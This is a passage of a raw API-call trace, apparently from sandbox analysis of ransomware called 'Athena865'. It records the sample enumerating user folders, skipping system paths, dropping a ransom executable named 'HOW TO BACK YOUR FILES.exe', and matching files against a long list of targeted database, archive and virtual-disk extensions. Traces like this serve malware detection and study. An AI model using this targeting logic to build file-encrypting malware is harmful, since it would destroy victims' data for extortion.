nFileSizeLow=0xaef0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zXm1.mp4.Athena865", cAlternateFileName="ZXM1MP~1.ATH")) returned 1 [0101.661] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.661] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.661] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2=".") returned 1 [0101.661] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="..") returned 1 [0101.662] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="windows") returned 1 [0101.662] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="bootmgr") returned 1 [0101.662] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="temp") returned 1 [0101.662] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="pagefile.sys") returned 1 [0101.662] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="boot") returned 1 [0101.662] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="ids.txt") returned 1 [0101.662] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="ntuser.dat") returned 1 [0101.662] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="perflogs") returned 1 [0101.662] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="MSBuild") returned 1 [0101.662] lstrlenW (lpString="zXm1.mp4.Athena865") returned 18 [0101.662] lstrcpyW (in: lpString1=0x241e8ce, lpString2="zXm1.mp4.Athena865" | out: lpString1="zXm1.mp4.Athena865") returned="zXm1.mp4.Athena865" [0101.662] lstrlenW (lpString="zXm1.mp4.Athena865") returned 18 [0101.662] lstrlenW (lpString="Athena865") returned 9 [0101.662] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.662] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd079b50, ftCreationTime.dwHighDateTime=0x1d4c62c, ftLastAccessTime.dwLowDateTime=0x93d0e780, ftLastAccessTime.dwHighDateTime=0x1d4d25d, ftLastWriteTime.dwLowDateTime=0xc76c7080, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xaef0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zXm1.mp4.Athena865", cAlternateFileName="ZXM1MP~1.ATH")) returned 0 [0101.662] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0101.662] ReleaseMutex (hMutex=0xec) returned 1 [0101.662] CloseHandle (hObject=0xec) returned 1 [0101.662] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" [0101.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528338 | out: hHeap=0x4f0000) returned 1 [0101.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b6d8 | out: hHeap=0x4f0000) returned 1 [0101.662] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned 70 [0101.662] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\5075D1723F8705DD913942B71916A2F0") returned 0xec [0101.662] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0101.662] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" [0101.662] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.663] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.663] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.663] GetLastError () returned 0x0 [0101.663] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0101.663] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0101.664] CloseHandle (hObject=0xf4) returned 1 [0101.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.664] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.664] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xc5deeae0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5deeae0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.665] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.665] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.665] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0101.665] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xc5deeae0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5deeae0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.665] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.665] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.665] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0101.665] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0101.665] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5deeae0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc5deeae0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0101.665] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0101.665] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0101.665] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.665] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.665] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2=".") returned 1 [0101.665] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="..") returned 1 [0101.665] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="windows") returned -1 [0101.665] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="bootmgr") returned 1 [0101.665] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="temp") returned 1 [0101.665] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="pagefile.sys") returned 1 [0101.665] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="boot") returned 1 [0101.665] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="ids.txt") returned 1 [0101.665] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="ntuser.dat") returned 1 [0101.665] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="perflogs") returned 1 [0101.665] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2="MSBuild") returned 1 [0101.665] lstrlenW (lpString="voeimd@djhreuu.uhd.pst") returned 22 [0101.665] lstrcpyW (in: lpString1=0x241e8d6, lpString2="voeimd@djhreuu.uhd.pst" | out: lpString1="voeimd@djhreuu.uhd.pst") returned="voeimd@djhreuu.uhd.pst" [0101.665] lstrlenW (lpString="voeimd@djhreuu.uhd.pst") returned 22 [0101.666] lstrlenW (lpString="Athena865") returned 9 [0101.666] lstrcmpiW (lpString1="u.uhd.pst", lpString2="Athena865") returned 1 [0101.666] lstrlenW (lpString=".dll") returned 4 [0101.666] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2=".dll") returned 1 [0101.666] lstrlenW (lpString=".lnk") returned 4 [0101.666] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2=".lnk") returned 1 [0101.666] lstrlenW (lpString=".ini") returned 4 [0101.666] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2=".ini") returned 1 [0101.666] lstrlenW (lpString=".sys") returned 4 [0101.666] lstrcmpiW (lpString1="voeimd@djhreuu.uhd.pst", lpString2=".sys") returned 1 [0101.666] lstrlenW (lpString="voeimd@djhreuu.uhd.pst") returned 22 [0101.666] lstrlenW (lpString="bak") returned 3 [0101.666] lstrcmpiW (lpString1="pst", lpString2="bak") returned 1 [0101.666] lstrlenW (lpString="ba_") returned 3 [0101.666] lstrcmpiW (lpString1="pst", lpString2="ba_") returned 1 [0101.666] lstrlenW (lpString="dbb") returned 3 [0101.666] lstrcmpiW (lpString1="pst", lpString2="dbb") returned 1 [0101.666] lstrlenW (lpString="vmdk") returned 4 [0101.666] lstrcmpiW (lpString1=".pst", lpString2="vmdk") returned -1 [0101.666] lstrlenW (lpString="rar") returned 3 [0101.666] lstrcmpiW (lpString1="pst", lpString2="rar") returned -1 [0101.666] lstrlenW (lpString="zip") returned 3 [0101.666] lstrcmpiW (lpString1="pst", lpString2="zip") returned -1 [0101.666] lstrlenW (lpString="tgz") returned 3 [0101.666] lstrcmpiW (lpString1="pst", lpString2="tgz") returned -1 [0101.666] lstrlenW (lpString="vbox") returned 4 [0101.666] lstrcmpiW (lpString1=".pst", lpString2="vbox") returned -1 [0101.666] lstrlenW (lpString="vdi") returned 3 [0101.666] lstrcmpiW (lpString1="pst", lpString2="vdi") returned -1 [0101.666] lstrlenW (lpString="vhd") returned 3 [0101.666] lstrcmpiW (lpString1="pst", lpString2="vhd") returned -1 [0101.666] lstrlenW (lpString="vhdx") returned 4 [0101.666] lstrcmpiW (lpString1=".pst", lpString2="vhdx") returned -1 [0101.667] lstrlenW (lpString="avhd") returned 4 [0101.667] lstrcmpiW (lpString1=".pst", lpString2="avhd") returned -1 [0101.667] lstrlenW (lpString="db") returned 2 [0101.667] lstrcmpiW (lpString1="st", lpString2="db") returned 1 [0101.667] lstrlenW (lpString="db2") returned 3 [0101.667] lstrcmpiW (lpString1="pst", lpString2="db2") returned 1 [0101.667] lstrlenW (lpString="db3") returned 3 [0101.667] lstrcmpiW (lpString1="pst", lpString2="db3") returned 1 [0101.667] lstrlenW (lpString="dbf") returned 3 [0101.667] lstrcmpiW (lpString1="pst", lpString2="dbf") returned 1 [0101.667] lstrlenW (lpString="mdf") returned 3 [0101.667] lstrcmpiW (lpString1="pst", lpString2="mdf") returned 1 [0101.667] lstrlenW (lpString="mdb") returned 3 [0101.667] lstrcmpiW (lpString1="pst", lpString2="mdb") returned 1 [0101.667] lstrlenW (lpString="sql") returned 3 [0101.667] lstrcmpiW (lpString1="pst", lpString2="sql") returned -1 [0101.667] lstrlenW (lpString="sqlite") returned 6 [0101.667] lstrcmpiW (lpString1="hd.pst", lpString2="sqlite") returned -1 [0101.667] lstrlenW (lpString="sqlite3") returned 7 [0101.667] lstrcmpiW (lpString1="uhd.pst", lpString2="sqlite3") returned 1 [0101.667] lstrlenW (lpString="sqlitedb") returned 8 [0101.667] lstrcmpiW (lpString1=".uhd.pst", lpString2="sqlitedb") returned -1 [0101.667] lstrlenW (lpString="xml") returned 3 [0101.667] lstrcmpiW (lpString1="pst", lpString2="xml") returned -1 [0101.667] lstrlenW (lpString="$er") returned 3 [0101.667] lstrcmpiW (lpString1="pst", lpString2="$er") returned 1 [0101.667] lstrlenW (lpString="4dd") returned 3 [0101.667] lstrcmpiW (lpString1="pst", lpString2="4dd") returned 1 [0101.667] lstrlenW (lpString="4dl") returned 3 [0101.667] lstrcmpiW (lpString1="pst", lpString2="4dl") returned 1 [0101.668] lstrlenW (lpString="^^^") returned 3 [0101.668] lstrcmpiW (lpString1="pst", lpString2="^^^") returned 1 [0101.668] lstrlenW (lpString="abs") returned 3 [0101.668] lstrcmpiW (lpString1="pst", lpString2="abs") returned 1 [0101.668] lstrlenW (lpString="abx") returned 3 [0101.668] lstrcmpiW (lpString1="pst", lpString2="abx") returned 1 [0101.668] lstrlenW (lpString="accdb") returned 5 [0101.668] lstrcmpiW (lpString1="d.pst", lpString2="accdb") returned 1 [0101.668] lstrlenW (lpString="accdc") returned 5 [0101.668] lstrcmpiW (lpString1="d.pst", lpString2="accdc") returned 1 [0101.668] lstrlenW (lpString="accde") returned 5 [0101.668] lstrcmpiW (lpString1="d.pst", lpString2="accde") returned 1 [0101.668] lstrlenW (lpString="accdr") returned 5 [0101.668] lstrcmpiW (lpString1="d.pst", lpString2="accdr") returned 1 [0101.668] lstrlenW (lpString="accdt") returned 5 [0101.668] lstrcmpiW (lpString1="d.pst", lpString2="accdt") returned 1 [0101.668] lstrlenW (lpString="accdw") returned 5 [0101.668] lstrcmpiW (lpString1="d.pst", lpString2="accdw") returned 1 [0101.668] lstrlenW (lpString="accft") returned 5 [0101.668] lstrcmpiW (lpString1="d.pst", lpString2="accft") returned 1 [0101.668] lstrlenW (lpString="adb") returned 3 [0101.668] lstrcmpiW (lpString1="pst", lpString2="adb") returned 1 [0101.668] lstrlenW (lpString="adb") returned 3 [0101.668] lstrcmpiW (lpString1="pst", lpString2="adb") returned 1 [0101.668] lstrlenW (lpString="ade") returned 3 [0101.668] lstrcmpiW (lpString1="pst", lpString2="ade") returned 1 [0101.668] lstrlenW (lpString="adf") returned 3 [0101.668] lstrcmpiW (lpString1="pst", lpString2="adf") returned 1 [0101.668] lstrlenW (lpString="adn") returned 3 [0101.668] lstrcmpiW (lpString1="pst", lpString2="adn") returned 1 [0101.668] lstrlenW (lpString="adp") returned 3 [0101.668] lstrcmpiW (lpString1="pst", lpString2="adp") returned 1 [0101.669] lstrlenW (lpString="alf") returned 3 [0101.669] lstrcmpiW (lpString1="pst", lpString2="alf") returned 1 [0101.669] lstrlenW (lpString="ask") returned 3 [0101.669] lstrcmpiW (lpString1="pst", lpString2="ask") returned 1 [0101.669] lstrlenW (lpString="btr") returned 3 [0101.669] lstrcmpiW (lpString1="pst", lpString2="btr") returned 1 [0101.669] lstrlenW (lpString="cat") returned 3 [0101.669] lstrcmpiW (lpString1="pst", lpString2="cat") returned 1 [0101.669] lstrlenW (lpString="cdb") returned 3 [0101.669] lstrcmpiW (lpString1="pst", lpString2="cdb") returned 1 [0101.669] lstrlenW (lpString="ckp") returned 3 [0101.669] lstrcmpiW (lpString1="pst", lpString2="ckp") returned 1 [0101.669] lstrlenW (lpString="cma") returned 3 [0101.669] lstrcmpiW (lpString1="pst", lpString2="cma") returned 1 [0101.669] lstrlenW (lpString="cpd") returned 3 [0101.669] lstrcmpiW (lpString1="pst", lpString2="cpd") returned 1 [0101.669] lstrlenW (lpString="dacpac") returned 6 [0101.669] lstrcmpiW (lpString1="hd.pst", lpString2="dacpac") returned 1 [0101.669] lstrlenW (lpString="dad") returned 3 [0101.669] lstrcmpiW (lpString1="pst", lpString2="dad") returned 1 [0101.669] lstrlenW (lpString="dadiagrams") returned 10 [0101.669] lstrcmpiW (lpString1="uu.uhd.pst", lpString2="dadiagrams") returned 1 [0101.669] lstrlenW (lpString="daschema") returned 8 [0101.669] lstrcmpiW (lpString1=".uhd.pst", lpString2="daschema") returned -1 [0101.669] lstrlenW (lpString="db-journal") returned 10 [0101.669] lstrcmpiW (lpString1="uu.uhd.pst", lpString2="db-journal") returned 1 [0101.669] lstrlenW (lpString="db-shm") returned 6 [0101.669] lstrcmpiW (lpString1="hd.pst", lpString2="db-shm") returned 1 [0101.669] lstrlenW (lpString="db-wal") returned 6 [0101.669] lstrcmpiW (lpString1="hd.pst", lpString2="db-wal") returned 1 [0101.669] lstrlenW (lpString="dbc") returned 3 [0101.669] lstrcmpiW (lpString1="pst", lpString2="dbc") returned 1 [0101.670] lstrlenW (lpString="dbs") returned 3 [0101.670] lstrcmpiW (lpString1="pst", lpString2="dbs") returned 1 [0101.670] lstrlenW (lpString="dbt") returned 3 [0101.670] lstrcmpiW (lpString1="pst", lpString2="dbt") returned 1 [0101.670] lstrlenW (lpString="dbv") returned 3 [0101.670] lstrcmpiW (lpString1="pst", lpString2="dbv") returned 1 [0101.670] lstrlenW (lpString="dbx") returned 3 [0101.670] lstrcmpiW (lpString1="pst", lpString2="dbx") returned 1 [0101.670] lstrlenW (lpString="dcb") returned 3 [0101.670] lstrcmpiW (lpString1="pst", lpString2="dcb") returned 1 [0101.670] lstrlenW (lpString="dct") returned 3 [0101.670] lstrcmpiW (lpString1="pst", lpString2="dct") returned 1 [0101.670] lstrlenW (lpString="dcx") returned 3 [0101.670] lstrcmpiW (lpString1="pst", lpString2="dcx") returned 1 [0101.670] lstrlenW (lpString="ddl") returned 3 [0101.670] lstrcmpiW (lpString1="pst", lpString2="ddl") returned 1 [0101.670] lstrlenW (lpString="dlis") returned 4 [0101.670] lstrcmpiW (lpString1=".pst", lpString2="dlis") returned -1 [0101.670] lstrlenW (lpString="dp1") returned 3 [0101.670] lstrcmpiW (lpString1="pst", lpString2="dp1") returned 1 [0101.670] lstrlenW (lpString="dqy") returned 3 [0101.670] lstrcmpiW (lpString1="pst", lpString2="dqy") returned 1 [0101.670] lstrlenW (lpString="dsk") returned 3 [0101.670] lstrcmpiW (lpString1="pst", lpString2="dsk") returned 1 [0101.670] lstrlenW (lpString="dsn") returned 3 [0101.670] lstrcmpiW (lpString1="pst", lpString2="dsn") returned 1 [0101.670] lstrlenW (lpString="dtsx") returned 4 [0101.670] lstrcmpiW (lpString1=".pst", lpString2="dtsx") returned -1 [0101.670] lstrlenW (lpString="dxl") returned 3 [0101.670] lstrcmpiW (lpString1="pst", lpString2="dxl") returned 1 [0101.670] lstrlenW (lpString="eco") returned 3 [0101.670] lstrcmpiW (lpString1="pst", lpString2="eco") returned 1 [0101.671] lstrlenW (lpString="ecx") returned 3 [0101.671] lstrcmpiW (lpString1="pst", lpString2="ecx") returned 1 [0101.671] lstrlenW (lpString="edb") returned 3 [0101.671] lstrcmpiW (lpString1="pst", lpString2="edb") returned 1 [0101.671] lstrlenW (lpString="epim") returned 4 [0101.671] lstrcmpiW (lpString1=".pst", lpString2="epim") returned -1 [0101.671] lstrlenW (lpString="fcd") returned 3 [0101.671] lstrcmpiW (lpString1="pst", lpString2="fcd") returned 1 [0101.671] lstrlenW (lpString="fdb") returned 3 [0101.671] lstrcmpiW (lpString1="pst", lpString2="fdb") returned 1 [0101.671] lstrlenW (lpString="fic") returned 3 [0101.671] lstrcmpiW (lpString1="pst", lpString2="fic") returned 1 [0101.671] lstrlenW (lpString="flexolibrary") returned 12 [0101.671] lstrcmpiW (lpString1="reuu.uhd.pst", lpString2="flexolibrary") returned 1 [0101.671] lstrlenW (lpString="fm5") returned 3 [0101.671] lstrcmpiW (lpString1="pst", lpString2="fm5") returned 1 [0101.671] lstrlenW (lpString="fmp") returned 3 [0101.671] lstrcmpiW (lpString1="pst", lpString2="fmp") returned 1 [0101.671] lstrlenW (lpString="fmp12") returned 5 [0101.671] lstrcmpiW (lpString1="d.pst", lpString2="fmp12") returned -1 [0101.671] lstrlenW (lpString="fmpsl") returned 5 [0101.671] lstrcmpiW (lpString1="d.pst", lpString2="fmpsl") returned -1 [0101.671] lstrlenW (lpString="fol") returned 3 [0101.671] lstrcmpiW (lpString1="pst", lpString2="fol") returned 1 [0101.671] lstrlenW (lpString="fp3") returned 3 [0101.671] lstrcmpiW (lpString1="pst", lpString2="fp3") returned 1 [0101.671] lstrlenW (lpString="fp4") returned 3 [0101.671] lstrcmpiW (lpString1="pst", lpString2="fp4") returned 1 [0101.671] lstrlenW (lpString="fp5") returned 3 [0101.671] lstrcmpiW (lpString1="pst", lpString2="fp5") returned 1 [0101.671] lstrlenW (lpString="fp7") returned 3 [0101.671] lstrcmpiW (lpString1="pst", lpString2="fp7") returned 1 [0101.671] lstrlenW (lpString="fpt") returned 3 [0101.672] lstrcmpiW (lpString1="pst", lpString2="fpt") returned 1 [0101.672] lstrlenW (lpString="frm") returned 3 [0101.672] lstrcmpiW (lpString1="pst", lpString2="frm") returned 1 [0101.672] lstrlenW (lpString="gdb") returned 3 [0101.672] lstrcmpiW (lpString1="pst", lpString2="gdb") returned 1 [0101.672] lstrlenW (lpString="gdb") returned 3 [0101.672] lstrcmpiW (lpString1="pst", lpString2="gdb") returned 1 [0101.672] lstrlenW (lpString="grdb") returned 4 [0101.672] lstrcmpiW (lpString1=".pst", lpString2="grdb") returned -1 [0101.672] lstrlenW (lpString="gwi") returned 3 [0101.672] lstrcmpiW (lpString1="pst", lpString2="gwi") returned 1 [0101.672] lstrlenW (lpString="hdb") returned 3 [0101.672] lstrcmpiW (lpString1="pst", lpString2="hdb") returned 1 [0101.672] lstrlenW (lpString="his") returned 3 [0101.672] lstrcmpiW (lpString1="pst", lpString2="his") returned 1 [0101.672] lstrlenW (lpString="ib") returned 2 [0101.672] lstrcmpiW (lpString1="st", lpString2="ib") returned 1 [0101.672] lstrlenW (lpString="idb") returned 3 [0101.672] lstrcmpiW (lpString1="pst", lpString2="idb") returned 1 [0101.672] lstrlenW (lpString="ihx") returned 3 [0101.672] lstrcmpiW (lpString1="pst", lpString2="ihx") returned 1 [0101.672] lstrlenW (lpString="itdb") returned 4 [0101.672] lstrcmpiW (lpString1=".pst", lpString2="itdb") returned -1 [0101.672] lstrlenW (lpString="itw") returned 3 [0101.672] lstrcmpiW (lpString1="pst", lpString2="itw") returned 1 [0101.672] lstrlenW (lpString="jet") returned 3 [0101.672] lstrcmpiW (lpString1="pst", lpString2="jet") returned 1 [0101.672] lstrlenW (lpString="jtx") returned 3 [0101.672] lstrcmpiW (lpString1="pst", lpString2="jtx") returned 1 [0101.672] lstrlenW (lpString="kdb") returned 3 [0101.672] lstrcmpiW (lpString1="pst", lpString2="kdb") returned 1 [0101.672] lstrlenW (lpString="kexi") returned 4 [0101.672] lstrcmpiW (lpString1=".pst", lpString2="kexi") returned -1 [0101.673] lstrlenW (lpString="kexic") returned 5 [0101.673] lstrcmpiW (lpString1="d.pst", lpString2="kexic") returned -1 [0101.673] lstrlenW (lpString="kexis") returned 5 [0101.673] lstrcmpiW (lpString1="d.pst", lpString2="kexis") returned -1 [0101.673] lstrlenW (lpString="lgc") returned 3 [0101.673] lstrcmpiW (lpString1="pst", lpString2="lgc") returned 1 [0101.673] lstrlenW (lpString="lwx") returned 3 [0101.673] lstrcmpiW (lpString1="pst", lpString2="lwx") returned 1 [0101.673] lstrlenW (lpString="maf") returned 3 [0101.673] lstrcmpiW (lpString1="pst", lpString2="maf") returned 1 [0101.673] lstrlenW (lpString="maq") returned 3 [0101.673] lstrcmpiW (lpString1="pst", lpString2="maq") returned 1 [0101.673] lstrlenW (lpString="mar") returned 3 [0101.673] lstrcmpiW (lpString1="pst", lpString2="mar") returned 1 [0101.673] lstrlenW (lpString="marshal") returned 7 [0101.673] lstrcmpiW (lpString1="uhd.pst", lpString2="marshal") returned 1 [0101.673] lstrlenW (lpString="mas") returned 3 [0101.673] lstrcmpiW (lpString1="pst", lpString2="mas") returned 1 [0101.673] lstrlenW (lpString="mav") returned 3 [0101.673] lstrcmpiW (lpString1="pst", lpString2="mav") returned 1 [0101.673] lstrlenW (lpString="maw") returned 3 [0101.673] lstrcmpiW (lpString1="pst", lpString2="maw") returned 1 [0101.673] lstrlenW (lpString="mdbhtml") returned 7 [0101.673] lstrcmpiW (lpString1="uhd.pst", lpString2="mdbhtml") returned 1 [0101.673] lstrlenW (lpString="mdn") returned 3 [0101.673] lstrcmpiW (lpString1="pst", lpString2="mdn") returned 1 [0101.673] lstrlenW (lpString="mdt") returned 3 [0101.673] lstrcmpiW (lpString1="pst", lpString2="mdt") returned 1 [0101.673] lstrlenW (lpString="mfd") returned 3 [0101.673] lstrcmpiW (lpString1="pst", lpString2="mfd") returned 1 [0101.673] lstrlenW (lpString="mpd") returned 3 [0101.673] lstrcmpiW (lpString1="pst", lpString2="mpd") returned 1 [0101.674] lstrlenW (lpString="mrg") returned 3 [0101.674] lstrcmpiW (lpString1="pst", lpString2="mrg") returned 1 [0101.674] lstrlenW (lpString="mud") returned 3 [0101.674] lstrcmpiW (lpString1="pst", lpString2="mud") returned 1 [0101.674] lstrlenW (lpString="mwb") returned 3 [0101.674] lstrcmpiW (lpString1="pst", lpString2="mwb") returned 1 [0101.674] lstrlenW (lpString="myd") returned 3 [0101.674] lstrcmpiW (lpString1="pst", lpString2="myd") returned 1 [0101.674] lstrlenW (lpString="ndf") returned 3 [0101.674] lstrcmpiW (lpString1="pst", lpString2="ndf") returned 1 [0101.674] lstrlenW (lpString="nnt") returned 3 [0101.674] lstrcmpiW (lpString1="pst", lpString2="nnt") returned 1 [0101.674] lstrlenW (lpString="nrmlib") returned 6 [0101.674] lstrcmpiW (lpString1="hd.pst", lpString2="nrmlib") returned -1 [0101.674] lstrlenW (lpString="ns2") returned 3 [0101.674] lstrcmpiW (lpString1="pst", lpString2="ns2") returned 1 [0101.674] lstrlenW (lpString="ns3") returned 3 [0101.674] lstrcmpiW (lpString1="pst", lpString2="ns3") returned 1 [0101.674] lstrlenW (lpString="ns4") returned 3 [0101.674] lstrcmpiW (lpString1="pst", lpString2="ns4") returned 1 [0101.674] lstrlenW (lpString="nsf") returned 3 [0101.674] lstrcmpiW (lpString1="pst", lpString2="nsf") returned 1 [0101.674] lstrlenW (lpString="nv") returned 2 [0101.674] lstrcmpiW (lpString1="st", lpString2="nv") returned 1 [0101.674] lstrlenW (lpString="nv2") returned 3 [0101.674] lstrcmpiW (lpString1="pst", lpString2="nv2") returned 1 [0101.674] lstrlenW (lpString="nwdb") returned 4 [0101.674] lstrcmpiW (lpString1=".pst", lpString2="nwdb") returned -1 [0101.674] lstrlenW (lpString="nyf") returned 3 [0101.674] lstrcmpiW (lpString1="pst", lpString2="nyf") returned 1 [0101.674] lstrlenW (lpString="odb") returned 3 [0101.674] lstrcmpiW (lpString1="pst", lpString2="odb") returned 1 [0101.675] lstrlenW (lpString="odb") returned 3 [0101.675] lstrcmpiW (lpString1="pst", lpString2="odb") returned 1 [0101.675] lstrlenW 